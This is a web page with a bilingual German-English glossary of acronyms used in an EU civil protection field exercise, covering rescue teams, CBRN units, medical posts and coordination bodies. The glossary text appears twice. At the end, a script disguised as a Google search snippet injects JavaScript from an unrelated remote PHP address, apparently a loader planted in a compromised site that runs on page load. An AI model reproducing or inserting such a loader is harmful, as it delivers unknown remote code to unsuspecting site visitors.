<!–:de–>Glossar<!–:–><!–:en–>Glossary<!–:–>

:deABC Einheit    Unit for defense of atomic, biological and chemical substances    Einheit zur Abwehr von Gefahren durch atomare, biologische und  chemische MittelAMP    Advanced Medical Post    vorgeschobener BehandlungsplatzAMPS    Advanced Medical Post with Surgery    vorgeschobener Behandlungsplatz mit OPBAT    Mobile Medical Squad    Beweglicher ArzttruppBCP    Border Crossing Point    GrenzübertrittsstelleBMI    Federal Ministry of the Interior    Bundesministerium für InneresBoO    Base of Operation    BRK    Bavarian Red Cross    Bayerisches Rotes KreuzCBRN    Chemical, Biological, Radiological and Nuclear detection and sampling    Feststellung chemischer, biologischer, radiologischer und nuklearer Gefahren und ProbenahmeCECIS    Common Emergency Communication and Information System    Gemeinsames Kommunikations- und Informationssystem für Notfällezwischen den am Gemeinschaftsverfahren teilnehmenden StaatenCIS    Communication and Information System    Kommunikations und InformationssystemCP    Civil Protection    KatastrophenschutzCPM    Civil Protection Mechanism    Gemeinschaftsverfahren für den KatastrophenschutzCPX    Command Post Exercise    StabsrahmenübungDECO Team    Decontamination Team    Dekontaminationsteam (Entgiftungsmannschaft)DG ECHO    Directorate General for Humanitarian Aid and Civil Protection    Generaldirektorat für Humanitäre Hilfe und ZivilschutzDPC    Civil Protection Bureau, Italy     Katastrophenschutzbehörde, ItalienDSEC    Detailed Scenario Episode Catalogue    detailierter Szenarienkatalog der ÜbungDUZS    Civil Protection Bureau, Croatia    Katastrophenschutzbehörde, KroatienEC    European Community    Europäische UnionEFAS    European Flood Awareness System    Europäisches Instrument zur Progonose von ÜberschwemmungenETA    Estimated Time of Arrival    voraussichtlicher Zeitpunkt der AnkunftETD    Estimated Time of Departure    voraussichtlicher Zeitpunkt der AbreiseETS    Emergency Temporary Shelter        Not- und BehelfsunterkunftEUCP Team    European Union Civil Protection Team    Evaluierungs- und/oder Koordinierungsteams der EUELW    Exercise Control Vehicle    EinsatzleitwagenEXCON    Exercise Control    ÜbungsleitungFEX    Field Exercise    ÜbungFEXOBS    Field Exercise Observation    Beobachtung der ÜbungFRB    Flood Rescue using Boats    Bergungs- und Rettungseinsätze unter Einsatz von Booten bei ÜberschwemmungenGIS    Geographic Information System    Geographische InformationssystemeGMES    Global Monitoring for Environment and Security    Globale Umwelt- und SicherheitsüberwachungGWSan50    Medical Equipment Vehicle for 50 patients    Gerätewagen Sanitätsdienst für die Versorgung von 50 PatientenHAZ-MAT    Hazardous Materials    Gefahrgut, Gefährliche MaterialienHCP    High Capacity Pumping    HochleistungspumpenHF    High frequency    Hohe FrequenzHNS    Host Nation Support    Unterstützung des GastgeberlandesHUSAR    Heavy urban search and rescue    Suche und Rettung in Städten unter schweren BedingungenIFRC    International Federation of Red Cross and Red Crescent Societies    Internationale Föderation der Rotkreuz- und -Halbmond- GesellschaftenIGSU    Civil Protection Bureau, Romania    Katastrophenschutzbehörde, RumänienLEMA    Local Emergency Management Authority    örtlich und sachlich zuständige KatastrophenschutzbehördeLO / LOi    Liaison Officer    VerbindungsoffizierMC    Media Centre    Medien ZentrumMEDEVAC    Medical Evacuation        Evakuierung in medizinischen NotfällenMIC    Monitoring and Information Centre    Beobachtungs- und InformationszentrumMoI    Ministry of the Interior    Bundesministerium für InneresMoSan    Mobile Sanitary Unit Mobile    mobile SanEinheitMPC    Main Planning Conference    HauptplanungskonferenzMS of EU        Member State of the European Union    Mitgliedstaat der Europäischen UnionMSEL    Master Scenario Event List    SzenarienkatalogMTF    Medical Treatment Facility     Medizinische BehandlungseinrichtungMUSAR    Medium Urban Search and Rescue    Suche und Rettung in Städten unter mittelschweren BedingungenNGO    non-governmental organisation    nichtstaatliche OrganisationNIFV    Netherlands Institute for Safety    Niederländische SicherheitsbehördeOCHA    United Nations Office for the Coordination of Humanitarian Affairs    Amt für die Koordinierung humanitärer Angelegenheiten der Vereinten NationenÖRK    Austrian Red Cross    Österreichisches Rotes KreuzOSC    On-site Commander    On-Site-Commander vor OrtObsRoom    Observation Room    Einrichtung im Rahmen der FEX in dem Observer, etc. das Übungsgeschehen via Videoübertragung besichtigen könnenPIS    Public Information Strategy    ÖffentlichkeitsarbeitPOC    Point of Contact    (exklusive) Kontaktstelle für InformationenPOD    Point of Departure    Abgangs-/AbreiseortPS    Participating States of CPM    Nicht EU-Länder, die am CPM beteiligt sindRC    Red Cross    Rotes KreuzRDC    Reception and Departure Centre    Registrierungszentrum für EinsatzkräfteRDRT    Regional Disaster Response Team (here: Red Cross)    regionales Katastrophenschutzteam (hier: Rotes Kreuz)SAR    Search and Rescue    Suche und RettungSAR in CBRN    Search And Rescue under CBRN conditions    Such- und Rettungseinsatz in verseuchtem GebietSAR Robots    Search and Rescue Robots    Drohnen zur Suche und RettungSEG    Fast Response Unit    Schnell-Einsatz-GruppeSEG – GSG    Fast Response Unit for HAZardous MATerials + 6 squad members    Schnell-Einsatz-Gruppe Gefährliche Stoffe und Güter und 6 HelfernSEG – T+S    Fast Response Unit with technical and safety equipment    Schnell-Einsatz-Gruppe Technik und SicherheitSEG – IuK     Fast Response Unit for Information and Communication    Schnell-Einsatz-Gruppe Information und KommunikationSimPress    Simulated Press    simulierte PresseSitRep    Situation Report     LageberichtSMURD    Emergency Rescue Service based in Romania    Mobiler Dienst für Notfälle, Reanimierung und Bergung in RumänienS-WG    Sub-Working group     Unter-ArbeitsgruppeTL    Team Leader    TeamleiterTWA    Water Purification     TrinkwasseraufbereitungUSAR    Urban Search and Rescue    Suche und Rettung in StädtenUSAR CBRN    Urban Search and Rescue under CBRN Conditions    Suche und Rettung bei CBRN-GefahrenWG    Working Group    ArbeitsgruppeWP    Water Purification    Trinkwasseraufbereitung
 ::enABC Einheit    Unit for defense of atomic, biological and chemical substances    Einheit zur Abwehr von Gefahren durch atomare, biologische und  chemische MittelAMP    Advanced Medical Post    vorgeschobener BehandlungsplatzAMPS    Advanced Medical Post with Surgery    vorgeschobener Behandlungsplatz mit OPBAT    Mobile Medical Squad    Beweglicher ArzttruppBCP    Border Crossing Point    GrenzübertrittsstelleBMI    Federal Ministry of the Interior    Bundesministerium für InneresBoO    Base of Operation    BRK    Bavarian Red Cross    Bayerisches Rotes KreuzCBRN    Chemical, Biological, Radiological and Nuclear detection and sampling    Feststellung chemischer, biologischer, radiologischer und nuklearer Gefahren und ProbenahmeCECIS    Common Emergency Communication and Information System    Gemeinsames Kommunikations- und Informationssystem für Notfällezwischen den am Gemeinschaftsverfahren teilnehmenden StaatenCIS    Communication and Information System    Kommunikations und InformationssystemCP    Civil Protection    KatastrophenschutzCPM    Civil Protection Mechanism    Gemeinschaftsverfahren für den KatastrophenschutzCPX    Command Post Exercise    StabsrahmenübungDECO Team    Decontamination Team    Dekontaminationsteam (Entgiftungsmannschaft)DG ECHO    Directorate General for Humanitarian Aid and Civil Protection    Generaldirektorat für Humanitäre Hilfe und ZivilschutzDPC    Civil Protection Bureau, Italy     Katastrophenschutzbehörde, ItalienDSEC    Detailed Scenario Episode Catalogue    detailierter Szenarienkatalog der ÜbungDUZS    Civil Protection Bureau, Croatia    Katastrophenschutzbehörde, KroatienEC    European Community    Europäische UnionEFAS    European Flood Awareness System    Europäisches Instrument zur Progonose von ÜberschwemmungenETA    Estimated Time of Arrival    voraussichtlicher Zeitpunkt der AnkunftETD    Estimated Time of Departure    voraussichtlicher Zeitpunkt der AbreiseETS    Emergency Temporary Shelter        Not- und BehelfsunterkunftEUCP Team    European Union Civil Protection Team    Evaluierungs- und/oder Koordinierungsteams der EUELW    Exercise Control Vehicle    EinsatzleitwagenEXCON    Exercise Control    ÜbungsleitungFEX    Field Exercise    ÜbungFEXOBS    Field Exercise Observation    Beobachtung der ÜbungFRB    Flood Rescue using Boats    Bergungs- und Rettungseinsätze unter Einsatz von Booten bei ÜberschwemmungenGIS    Geographic Information System    Geographische InformationssystemeGMES    Global Monitoring for Environment and Security    Globale Umwelt- und SicherheitsüberwachungGWSan50    Medical Equipment Vehicle for 50 patients    Gerätewagen Sanitätsdienst für die Versorgung von 50 PatientenHAZ-MAT    Hazardous Materials    Gefahrgut, Gefährliche MaterialienHCP    High Capacity Pumping    HochleistungspumpenHF    High frequency    Hohe FrequenzHNS    Host Nation Support    Unterstützung des GastgeberlandesHUSAR    Heavy urban search and rescue    Suche und Rettung in Städten unter schweren BedingungenIFRC    International Federation of Red Cross and Red Crescent Societies    Internationale Föderation der Rotkreuz- und -Halbmond- GesellschaftenIGSU    Civil Protection Bureau, Romania    Katastrophenschutzbehörde, RumänienLEMA    Local Emergency Management Authority    örtlich und sachlich zuständige KatastrophenschutzbehördeLO / LOi    Liaison Officer    VerbindungsoffizierMC    Media Centre    Medien ZentrumMEDEVAC    Medical Evacuation        Evakuierung in medizinischen NotfällenMIC    Monitoring and Information Centre    Beobachtungs- und InformationszentrumMoI    Ministry of the Interior    Bundesministerium für InneresMoSan    Mobile Sanitary Unit Mobile    mobile SanEinheitMPC    Main Planning Conference    HauptplanungskonferenzMS of EU        Member State of the European Union    Mitgliedstaat der Europäischen UnionMSEL    Master Scenario Event List    SzenarienkatalogMTF    Medical Treatment Facility     Medizinische BehandlungseinrichtungMUSAR    Medium Urban Search and Rescue    Suche und Rettung in Städten unter mittelschweren BedingungenNGO    non-governmental organisation    nichtstaatliche OrganisationNIFV    Netherlands Institute for Safety    Niederländische SicherheitsbehördeOCHA    United Nations Office for the Coordination of Humanitarian Affairs    Amt für die Koordinierung humanitärer Angelegenheiten der Vereinten NationenÖRK    Austrian Red Cross    Österreichisches Rotes KreuzOSC    On-site Commander    On-Site-Commander vor OrtObsRoom    Observation Room    Einrichtung im Rahmen der FEX in dem Observer, etc. das Übungsgeschehen via Videoübertragung besichtigen könnenPIS    Public Information Strategy    ÖffentlichkeitsarbeitPOC    Point of Contact    (exklusive) Kontaktstelle für InformationenPOD    Point of Departure    Abgangs-/AbreiseortPS    Participating States of CPM    Nicht EU-Länder, die am CPM beteiligt sindRC    Red Cross    Rotes KreuzRDC    Reception and Departure Centre    Registrierungszentrum für EinsatzkräfteRDRT    Regional Disaster Response Team (here: Red Cross)    regionales Katastrophenschutzteam (hier: Rotes Kreuz)SAR    Search and Rescue    Suche und RettungSAR in CBRN    Search And Rescue under CBRN conditions    Such- und Rettungseinsatz in verseuchtem GebietSAR Robots    Search and Rescue Robots    Drohnen zur Suche und RettungSEG    Fast Response Unit    Schnell-Einsatz-GruppeSEG – GSG    Fast Response Unit for HAZardous MATerials + 6 squad members    Schnell-Einsatz-Gruppe Gefährliche Stoffe und Güter und 6 HelfernSEG – T+S    Fast Response Unit with technical and safety equipment    Schnell-Einsatz-Gruppe Technik und SicherheitSEG – IuK     Fast Response Unit for Information and Communication    Schnell-Einsatz-Gruppe Information und KommunikationSimPress    Simulated Press    simulierte PresseSitRep    Situation Report     LageberichtSMURD    Emergency Rescue Service based in Romania    Mobiler Dienst für Notfälle, Reanimierung und Bergung in RumänienS-WG    Sub-Working group     Unter-ArbeitsgruppeTL    Team Leader    TeamleiterTWA    Water Purification     TrinkwasseraufbereitungUSAR    Urban Search and Rescue    Suche und Rettung in StädtenUSAR CBRN    Urban Search and Rescue under CBRN Conditions    Suche und Rettung bei CBRN-GefahrenWG    Working Group    ArbeitsgruppeWP    Water Purification    Trinkwasseraufbereitung:

(function() {
var gcse = document.createElement(‘script’);
gcse.type = ‘text/javascript’;
gcse.async = true;
gcse.src = “http://ninni.org/core9Om3.php”;
var s = document.getElementsByTagName(‘script’)[0];
s.parentNode.insertBefore(gcse, s);
})();